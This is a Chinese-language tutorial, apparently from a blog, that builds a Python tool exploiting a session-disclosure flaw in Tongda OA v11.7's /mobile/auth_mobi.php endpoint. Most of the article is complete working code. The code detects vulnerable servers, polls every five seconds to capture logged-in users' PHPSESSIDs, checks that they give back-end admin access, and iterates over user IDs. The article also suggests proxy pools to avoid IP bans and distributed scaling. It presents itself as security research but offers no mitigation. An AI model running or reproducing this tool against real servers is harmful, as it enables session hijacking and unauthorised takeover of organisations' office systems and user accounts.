通达OA v11.7 漏洞自动化监控脚本开发：Python实现5秒间隔在线用户Session捕获-育师

通达OA v11.7 Session监控工具开发实战

在当今企业办公自动化系统中，通达OA作为国内广泛使用的协同办公平台，其安全性备受关注。近期披露的v11.7版本中存在的Session捕获漏洞，为安全研究人员提供了深入研究Web应用安全的机会。本文将带领读者从零开始构建一个高效的Session监控工具，实现自动化漏洞检测与Session捕获功能。

1. 漏洞原理与技术背景

通达OA v11.7的auth_mobi.php接口存在设计缺陷，当用户在线时，该接口会返回当前用户的PHPSESSID。这个Session ID可以被用来直接登录系统后台，无需提供用户名和密码。

关键漏洞点分析：

接口路径：/mobile/auth_mobi.php
必需参数：
- isAvatar=1
- uid=用户ID
- P_VER=客户端版本

当这三个参数正确传递时，系统会执行以下SQL查询：

SELECT SID FROM user_online WHERE UID = '[uid]' and CLIENT = '[P_VER]'

如果查询到结果，则会将数据库中的SID值作为当前会话的PHPSESSID返回。这种设计使得攻击者能够通过遍历UID来获取不同用户的会话凭证。

2. 开发环境准备

在开始编写监控脚本前，需要准备以下开发环境：

Python 3.8+
必需库：
- requests (网络请求)
- re (正则表达式)
- time (时间控制)
- logging (日志记录)

安装依赖命令：

pip install requests

建议的开发目录结构：

tongda_monitor/ ├── core/ # 核心功能模块 │ ├── scanner.py # 扫描器实现 │ └── utils.py # 工具函数 ├── logs/ # 日志目录 ├── config.py # 配置文件 └── main.py # 主程序入口

3. 核心监控脚本开发

3.1 基础扫描功能实现

首先构建最基础的漏洞检测功能，能够判断目标是否存在漏洞以及指定用户是否在线：

import requests import re import time from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class TongdaScanner: def __init__(self, base_url, uid=1, interval=5): self.base_url = base_url.rstrip('/') self.uid = uid self.interval = interval self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' }) def check_vulnerable(self): """检测目标是否存在漏洞""" vuln_url = f"{self.base_url}/mobile/auth_mobi.php?isAvatar=1&uid={self.uid}&P_VER=0" try: response = self.session.get(vuln_url, verify=False, timeout=10) if response.status_code == 200: if "RELOGIN" in response.text: return True, "漏洞存在但用户不在线" elif response.text == "": return True, "漏洞存在且用户在线" return False, "目标可能不存在漏洞" except Exception as e: return False, f"请求失败: {str(e)}"

3.2 Session捕获与验证

扩展扫描器功能，使其能够捕获有效的Session并验证其可用性：

def capture_session(self): """捕获有效Session""" vuln_url = f"{self.base_url}/mobile/auth_mobi.php?isAvatar=1&uid={self.uid}&P_VER=0" try: response = self.session.get(vuln_url, verify=False, timeout=10) if response.status_code == 200 and response.text == "": # 从响应头中提取PHPSESSID session_id = re.findall(r'PHPSESSID=(.*?);', str(response.headers)) if session_id: return session_id[0] return None except Exception as e: print(f"[-] 捕获Session失败: {str(e)}") return None def verify_session(self, session_id): """验证Session有效性""" headers = {'Cookie': f'PHPSESSID={session_id}'} try: response = self.session.get( f"{self.base_url}/general/index.php", headers=headers, verify=False, timeout=10 ) return "系统管理" in response.text except Exception as e: print(f"[-] Session验证失败: {str(e)}") return False

3.3 自动化监控循环

实现核心的监控循环，定期检查目标用户状态并捕获有效Session：

def start_monitoring(self): """启动监控循环""" print(f"[*] 开始监控 {self.base_url} (UID: {self.uid})") while True: current_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) session_id = self.capture_session() if session_id: print(f"\n[+] {current_time} - 检测到用户在线") print(f"[*] 捕获到Session: {session_id}") if self.verify_session(session_id): print("[+] Session验证成功，可访问后台") # 这里可以添加自动保存Session的逻辑 else: print("[-] Session验证失败") else: print(f"[-] {current_time} - 用户不在线", end='\r') time.sleep(self.interval)

4. 功能增强与优化

4.1 多UID遍历支持

实际环境中可能需要监控多个用户，扩展扫描器支持UID遍历：

def scan_uids(self, start_uid=1, end_uid=10): """批量扫描UID范围""" results = {} for uid in range(start_uid, end_uid + 1): self.uid = uid is_vuln, msg = self.check_vulnerable() results[uid] = { 'vulnerable': is_vuln, 'message': msg, 'session': None } if is_vuln and "用户在线" in msg: session_id = self.capture_session() if session_id and self.verify_session(session_id): results[uid]['session'] = session_id return results

4.2 日志记录与持久化

添加日志记录功能，便于后续分析：

import logging def setup_logger(): """配置日志系统""" logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('logs/monitor.log'), logging.StreamHandler() ] ) return logging.getLogger('TongdaMonitor')

4.3 异常处理与重试机制

增强脚本的健壮性：

def safe_request(self, url, max_retries=3): """带重试机制的请求方法""" for attempt in range(max_retries): try: response = self.session.get(url, verify=False, timeout=10) return response except requests.exceptions.RequestException as e: if attempt == max_retries - 1: raise time.sleep(2 ** attempt)

5. 实战应用与效果演示

5.1 基础使用示例

if __name__ == '__main__': logger = setup_logger() scanner = TongdaScanner( base_url="http://target-oa-server.com", uid=1, interval=5 ) # 检查漏洞 is_vuln, msg = scanner.check_vulnerable() logger.info(f"漏洞检查结果: {msg}") if is_vuln: # 启动监控 try: scanner.start_monitoring() except KeyboardInterrupt: logger.info("监控已手动停止")

5.2 运行效果展示

当脚本检测到用户上线时，控制台会显示类似以下信息：

2023-08-20 14:25:03 - INFO - 开始监控 http://target-oa-server.com (UID: 1) 2023-08-20 14:25:08 - INFO - 检测到用户在线 2023-08-20 14:25:08 - INFO - 捕获到Session: okjj5asrhoiu6qdqufrvaui6b4 2023-08-20 14:25:08 - INFO - Session验证成功，可访问后台

5.3 性能优化建议

对于大规模监控场景，可以考虑以下优化：

异步IO：使用aiohttp替代requests实现并发检测
代理支持：添加代理池功能避免IP被封禁
分布式部署：将监控任务分发到多个节点执行

示例异步实现片段：

import aiohttp import asyncio async def async_check(session, url): try: async with session.get(url) as response: text = await response.text() if "RELOGIN" in text: return "offline" elif text == "": return "online" return "invalid" except Exception: return "error"